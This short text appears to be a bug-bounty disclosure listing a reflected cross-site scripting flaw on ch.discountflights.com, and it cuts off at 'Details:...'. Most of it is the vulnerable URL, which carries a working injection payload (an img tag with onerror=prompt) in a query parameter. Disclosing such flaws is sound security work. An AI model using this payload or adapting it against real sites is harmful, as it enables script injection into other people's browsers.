ch.discountflights.com XSS vulnerability

Vulnerable URL: http://www.ch.discountflights.com/dynamic-flight-result.php?air-radio=on=%27%22%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E%22==%27%22%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E%22==03%2F12%2F17=03%2F12%2F17=1=0=0=Economylanguage=en-UScurrency=USD=2 Details:...